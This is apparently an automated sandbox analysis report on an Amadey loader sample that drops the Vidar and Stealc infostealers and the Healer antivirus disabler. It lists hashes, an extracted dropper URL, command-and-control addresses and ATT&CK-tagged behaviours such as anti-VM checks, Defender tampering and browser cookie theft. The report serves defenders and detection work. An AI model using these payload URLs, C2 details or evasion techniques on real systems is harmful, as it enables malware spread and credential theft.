amadey | f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2025, 18:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe
Size

938KB
MD5

5ec95a42b16d80c72d17cc6d0bac58de
SHA1

9cfd9221606e1acfef1ea5f6f4bf88080822d5db
SHA256

f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b
SHA512

ca64237e9b54295b3162e26808d6c9acbef0640a996534425e21898b456e5117142bfe4d30473d2573ef42d08f0a85475d1cab63153e7b1b573011f67f735f0b
SSDEEP

24576:dqDEvCTbMWu7rQYlBQcBiT6rprG8a0Xu:dTvC/MTQYxsWR7a0X

Score

10^/10

amadey gcleaner healer stealc vidar 092155 11373d37b176b52c098f600f61cdf190 928af183c2a2807a3c0526e8c0c9369d trump credential_access defense_evasion discovery dropper execution exploit loader persistence stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

vidar

Version

13.3

Botnet

11373d37b176b52c098f600f61cdf190

https://t.me/lw25chm

https://steamcommunity.com/profiles/76561199839170361

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0

Extracted

Family

vidar

Version

13.3

Botnet

928af183c2a2807a3c0526e8c0c9369d

https://t.me/lw25chm

https://steamcommunity.com/profiles/76561199839170361

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 32 IoCs

stealer

resource	yara_rule
behavioral2/memory/2196-80-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-81-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-88-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-89-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-94-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-113-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-116-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-136-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-137-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-138-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-142-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-145-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-507-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-508-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-509-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-510-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-513-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-517-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-519-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-529-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-533-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-579-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-903-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-941-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5364-944-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5364-945-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-943-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-951-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-953-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-954-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-979-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/2196-980-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7

Detects Healer an antivirus disabler dropper 3 IoCs

resource	yara_rule
behavioral2/memory/6940-24335-0x0000000000FB0000-0x0000000001428000-memory.dmp	healer
behavioral2/memory/6940-24334-0x0000000000FB0000-0x0000000001428000-memory.dmp	healer
behavioral2/memory/6940-24791-0x0000000000FB0000-0x0000000001428000-memory.dmp	healer

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c4d26a570b.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	880	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
8908	powershell.exe
9660	powershell.exe
11656	powershell.exe
5448	powershell.exe
880	powershell.exe
11432	powershell.exe
12900	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 8 IoCs

flow	pid	Process
107	2876	rapes.exe
22	880	powershell.exe
62	2876	rapes.exe
26	2876	rapes.exe
26	2876	rapes.exe
137	1624	futors.exe
137	1624	futors.exe
231	1624	futors.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
5096	takeown.exe
4220	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 54 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
8352	chrome.exe
6436	chrome.exe
12036	chrome.exe
676	chrome.exe
12248	chrome.exe
11984	msedge.exe
680	msedge.exe
7388	chrome.exe
11088	chrome.exe
3812	chrome.exe
10352	chrome.exe
6840	chrome.exe
5460	chrome.exe
1836	chrome.exe
9968	chrome.exe
7236	chrome.exe
12916	chrome.exe
5492	chrome.exe
5184	chrome.exe
2652	msedge.exe
7836	chrome.exe
9288	chrome.exe
10152	chrome.exe
10140	chrome.exe
8764	chrome.exe
264	msedge.exe
9528	chrome.exe
5532	msedge.exe
4936	msedge.exe
8108	chrome.exe
2656	chrome.exe
8548	chrome.exe
7636	chrome.exe
216	chrome.exe
12120	msedge.exe
1664	chrome.exe
7336	chrome.exe
7496	chrome.exe
8336	chrome.exe
12720	chrome.exe
2388	chrome.exe
3728	chrome.exe
5076	chrome.exe
5856	chrome.exe
3524	chrome.exe
5968	msedge.exe
9176	msedge.exe
10720	chrome.exe
7304	chrome.exe
6452	chrome.exe
12052	chrome.exe
8612	chrome.exe
2568	chrome.exe
4584	msedge.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c4d26a570b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c4d26a570b.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	apple.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	amnew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	22.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	22.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	futors.exe

Executes dropped EXE 14 IoCs

pid	Process
4048	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
2876	rapes.exe
4852	EPTwCQd.exe
2156	q4jfn3p.exe
3980	apple.exe
224	22.exe
1108	rapes.exe
4620	22.exe
1260	amnew.exe
1624	futors.exe
5516	c4d26a570b.exe
5596	gron12321.exe
1724	v7942.exe
5892	0b89d01f90.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	c4d26a570b.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5096	takeown.exe
4220	icacls.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0002000000022b88-23480.dat	autoit_exe
behavioral2/files/0x000a00000002419f-24244.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
9028	tasklist.exe
11912	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4048	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
2876	rapes.exe
1108	rapes.exe
5516	c4d26a570b.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4852 set thread context of 4968	4852	EPTwCQd.exe	107
PID 2156 set thread context of 2196	2156	q4jfn3p.exe	110
PID 5596 set thread context of 6112	5596	gron12321.exe	221
PID 1724 set thread context of 5364	1724	v7942.exe	231
PID 5892 set thread context of 5336	5892	0b89d01f90.exe	232

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
File created	C:\Windows\Tasks\futors.job	amnew.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2132	sc.exe
3824	sc.exe
224	sc.exe
3456	sc.exe
1452	sc.exe
668	sc.exe
3568	sc.exe
464	sc.exe
4688	sc.exe
5076	sc.exe
4272	sc.exe
768	sc.exe
4932	sc.exe
1884	sc.exe
5104	sc.exe
416	sc.exe
2256	sc.exe
3088	sc.exe
3516	sc.exe
348	sc.exe
4752	sc.exe
1160	sc.exe
4988	sc.exe
4672	sc.exe
2064	sc.exe
2748	sc.exe
4492	sc.exe
4752	sc.exe
4604	sc.exe
3228	sc.exe
3292	sc.exe
2492	sc.exe
3588	sc.exe
3148	sc.exe
416	sc.exe
4048	sc.exe
2780	sc.exe
5052	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	22.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	22.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c4d26a570b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
12944	PING.EXE
5652	PING.EXE
6740	PING.EXE
9160	PING.EXE
12140	PING.EXE
12756	PING.EXE
5568	PING.EXE
2168	PING.EXE
9188	PING.EXE
7044	PING.EXE
12672	PING.EXE
12368	PING.EXE
13224	PING.EXE
5752	PING.EXE
3008	PING.EXE
9532	PING.EXE
10812	PING.EXE
11852	PING.EXE
12444	PING.EXE
12456	PING.EXE
5244	PING.EXE
2468	PING.EXE
6100	PING.EXE
6576	PING.EXE
6552	PING.EXE
11808	PING.EXE
11780	PING.EXE
11320	PING.EXE
9180	PING.EXE
6916	PING.EXE
7292	PING.EXE
10776	PING.EXE
10388	PING.EXE
5800	PING.EXE
7188	PING.EXE
11688	PING.EXE
6736	PING.EXE
12944	PING.EXE
6652	PING.EXE
8664	PING.EXE
11984	PING.EXE
12712	PING.EXE
3372	PING.EXE
8884	PING.EXE
12132	PING.EXE
9336	PING.EXE
12424	PING.EXE
10520	PING.EXE
6748	PING.EXE
1112	PING.EXE
2292	PING.EXE
3956	PING.EXE
11400	PING.EXE
4548	PING.EXE
5380	PING.EXE
9728	PING.EXE
6704	PING.EXE
8504	PING.EXE
6532	PING.EXE
9116	PING.EXE
9864	PING.EXE
12696	PING.EXE
3468	PING.EXE
644	PING.EXE

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
3236	timeout.exe
3940	timeout.exe
5524	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
8912	taskkill.exe
9588	taskkill.exe
11996	taskkill.exe
7752	taskkill.exe
8208	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133875741087851967"	chrome.exe

Runs ping.exe 1 TTPs 64 IoCs

Remote System Discovery

T1018

pid	Process
9020	PING.EXE
12200	PING.EXE
6704	PING.EXE
12944	PING.EXE
9188	PING.EXE
8504	PING.EXE
6092	PING.EXE
3372	PING.EXE
10776	PING.EXE
7696	PING.EXE
9532	PING.EXE
2292	PING.EXE
11688	PING.EXE
6652	PING.EXE
11852	PING.EXE
8328	PING.EXE
10812	PING.EXE
8776	PING.EXE
11320	PING.EXE
7188	PING.EXE
11808	PING.EXE
12444	PING.EXE
12756	PING.EXE
10752	PING.EXE
5244	PING.EXE
2468	PING.EXE
12712	PING.EXE
6532	PING.EXE
10248	PING.EXE
10288	PING.EXE
224	PING.EXE
1112	PING.EXE
6844	PING.EXE
9180	PING.EXE
8884	PING.EXE
3956	PING.EXE
9864	PING.EXE
7292	PING.EXE
4356	PING.EXE
644	PING.EXE
5616	PING.EXE
5800	PING.EXE
11104	PING.EXE
4064	PING.EXE
10344	PING.EXE
12696	PING.EXE
12964	PING.EXE
3468	PING.EXE
11984	PING.EXE
9728	PING.EXE
9160	PING.EXE
6576	PING.EXE
6740	PING.EXE
3928	PING.EXE
11704	PING.EXE
9336	PING.EXE
12944	PING.EXE
5924	PING.EXE
12132	PING.EXE
4548	PING.EXE
6736	PING.EXE
4968	PING.EXE
13224	PING.EXE
7464	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4580	schtasks.exe
11548	schtasks.exe
12644	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
880	powershell.exe
880	powershell.exe
4048	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
4048	TempRNAWC7ELHDRLAAAJE2W1CRQM0ZV2BIJT.EXE
2876	rapes.exe
2876	rapes.exe
4968	MSBuild.exe
4968	MSBuild.exe
4968	MSBuild.exe
4968	MSBuild.exe
2196	MSBuild.exe
2196	MSBuild.exe
1108	rapes.exe
1108	rapes.exe
2196	MSBuild.exe
2196	MSBuild.exe
2568	chrome.exe
2568	chrome.exe
2196	MSBuild.exe
2196	MSBuild.exe
2196	MSBuild.exe
2196	MSBuild.exe
5516	c4d26a570b.exe
5516	c4d26a570b.exe
2196	MSBuild.exe
2196	MSBuild.exe
6112	MSBuild.exe
6112	MSBuild.exe
6112	MSBuild.exe
6112	MSBuild.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
660	Process not Found
660	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
